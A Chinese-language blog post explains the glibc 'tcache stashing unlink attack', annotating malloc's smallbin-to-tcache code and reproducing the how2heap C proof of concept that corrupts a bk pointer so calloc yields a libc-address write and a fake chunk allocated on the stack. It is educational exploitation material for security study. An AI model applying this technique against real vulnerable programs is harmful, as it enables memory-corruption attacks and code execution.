Featured image of post tcache stashing unlink attack

tcache stashing unlink attack

https://blog.csdn.net/Mr_Fmnwon/article/details/142649778

https://www.cnblogs.com/pwnfeifei/p/15859114.html

https://xz.aliyun.com/news/14650

漏洞分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb); // 获取size对应的small bin索引
      bin = bin_at (av, idx); // 获取对应small bin链表头部

      if ((victim = last (bin)) != bin)
      // victim就是要脱链的堆块,也就是small bin里的最后一个
      // 这个if在判断我们所需要的size的那条small bin链上是否存在堆块,存在的话就把victim给脱链
        {
          bck = victim->bk; // 获取victim的bk指针
      if (__glibc_unlikely (bck->fd != victim)) // 对small bin的双向链表的完整性做了检查,确保victim->bk->fd指向的还是victim
    // 如果我们在这里劫持了victim的bk指针,就会导致bck的fd指向的并不是victim,从而触发异常
        malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb); // 设置下一个(高地址)chunk的prev_inuse位
          bin->bk = bck; // 将victim脱链
          bck->fd = bin;
          if (av != &main_arena)
        set_non_main_arena (victim); // 如果不是主arena,设置非主arena标志
          check_malloced_chunk (av, victim, nb); // 检查分配的chunk
#if USE_TCACHE
      /* 在这里,如果看到其他相同大小的chunk,把它们放入tcache。 */
      size_t tc_idx = csize2tidx (nb); // 获取size对应的tcache索引
      if (tcache && tc_idx < mp_.tcache_bins) // 如果这个索引在tcache bin的范围里,也就是这个size属于tcache bin的范围
        {
          mchunkptr tc_victim;

          /* 当bin不为空且tcache未满时,将chunks复制过去。 */
          while (tcache->counts[tc_idx] < mp_.tcache_count // 如果tcache bin没有满
             && (tc_victim = last (bin)) != bin) // 如果small bin不为空,tc_victim为small bin中的最后一个堆块
        {
          if (tc_victim != 0)
            {
              bck = tc_victim->bk; // 这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck; // 将tc_victim从small bin中脱链
              bck->fd = bin; // 如果我们伪造bck,这里就可以将bck->fd的位置写入一个bin的地址(main_arena+96)
              tcache_put (tc_victim, tc_idx); // 将tc_victim链入tc_idx这条链
                }
        }
        }
#endif
          void *p = chunk2mem (victim); // 将chunk转换为用户可用内存
          alloc_perturb (p, bytes); // 对分配的内存进行扰动
          return p; // 返回分配的内存
        }
    }

范围2.27-至今

tcache stashing unlink atttack 主要利用的是 calloc 函数会绕过 tcache 从smallbin 里取出 chunk 的特性。

由于smallbin 分配后,同大小的空闲块挂进会 tcache。且只有第一个chunk脱链时进行了链表完整性检查

攻击可实现两个效果:

1、任意地址上写一个main_area地址

2、任意地址分配chunk(构造合适)

实现第二种效果时

假设calloc之前smallbin中

FD:main_area->chunk2->chunk1

我们将chunk2的bk改为fakechunk1,然后修改fakechunk1的bk为fake2,则BK:fakechunk2<-fakechunk1<-chunk2<-chunk1<-main_area

calloc分配chunk1给用户,chunk2脱链进入tcache_bin,然后fake_chunk1进入tcache ,fakechunk2->fd=main_area

如果不修改fakechunk1的bk为一个可写地址(fake_chunk2),则

1
2
3
4
5
6
bck = tc_victim->bk; // 这里取tc_victim的bk指针,并没有针对bck做双向链表完整性检查,因此我们可以去攻击tc_victim的bk指针
              set_inuse_bit_at_offset (tc_victim, nb);
              if (av != &main_arena)
            set_non_main_arena (tc_victim);
              bin->bk = bck; // 将tc_victim从small bin中脱链
              bck->fd = bin; /

这里的bck不可写,fake_chunk1无法脱链

https://blog.csdn.net/Mr_Fmnwon/article/details/142649778

这篇文章图画的很详细

how2heap例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("这个文件演示了tcache上的stashing unlink攻击。\n\n");
    printf("这个poc已经在glibc-2.27、glibc-2.29和glibc-2.31上测试过。\n\n");
    printf("当你能够覆盖victim->bk指针时,可以使用这个技术。此外,至少需要使用calloc分配一次chunk。最后,我们需要一个可写地址来绕过glibc中的检查。\n\n");
    printf("在glibc中将smallbin放入tcache的机制给了我们发动攻击的机会。\n\n");
    printf("这个技术允许我们将libc地址写到我们想要的任何地方,并在我们需要的地方创建一个假的chunk。在这个案例中,我们将在堆栈上创建这个chunk。\n\n");

    // stack_var模拟我们想要分配的fake_chunk
    printf("stack_var模拟我们想要分配的fake chunk。\n\n");
    printf("首先,我们将一个可写地址写入fake_chunk->bk以绕过glibc中的bck->fd = bin检查。这里我们选择stack_var[2]的地址作为假的bk。稍后我们可以看到*(fake_chunk->bk + 0x10),也就是stack_var[4]将在攻击后成为libc地址。\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("你可以看到fake_chunk->bk的值是:%p\n\n",(void*)stack_var[3]);
    printf("同时,让我们看看stack_var[4]的初始值:%p\n\n",(void*)stack_var[4]);
    printf("现在我们用malloc分配9个chunks。\n\n");

    //现在我们分配9个chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //将7个chunks放入tcache
    printf("然后我们释放其中7个以将它们放入tcache。我们小心地没有按序释放chunk2到chunk9,因为相邻的unsorted bin会在另一个malloc之后合并。\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("正如你所见,chunk1和[chunk3,chunk8]被放入tcache bins,而chunk0和chunk2将被放入unsorted bin。\n\n");

    //最后一个tcache bin
    free(chunk_lis[1]);
    //现在它们被放入unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //转换为small bin
    printf("现在我们分配一个大于0x90的chunk以将chunk0和chunk2放入small bin。\n\n");

    malloc(0xa0);// size > 0x90

    //现在5个tcache bins
    printf("然后我们分配两个chunk以腾出small bins的空间。之后,我们现在有5个tcache bins和2个small bins。\n\n");

    malloc(0x90);
    malloc(0x90);

    printf("现在我们模拟一个可以覆盖victim->bk指针到fake_chunk地址: %p的漏洞。\n\n",(void*)stack_var);

    //更改victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //触发攻击
    printf("最后我们用calloc分配一个0x90的chunk以触发攻击。之前释放的小bin将返回给用户,另一个和fake_chunk被链接到tcache bins。\n\n");

    calloc(1,0x90);

    printf("现在我们的fake chunk已经被放入tcache bin[0xa0]列表。它的fd指针现在指向下一个空闲chunk: %p,而bck->fd已经被更改为一个libc地址: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //分配并返回我们的fake chunk在堆栈上
    target = malloc(0x90);   

    printf("正如你所见,下一次malloc(0x90)将返回我们的fake chunk区域: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}
共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计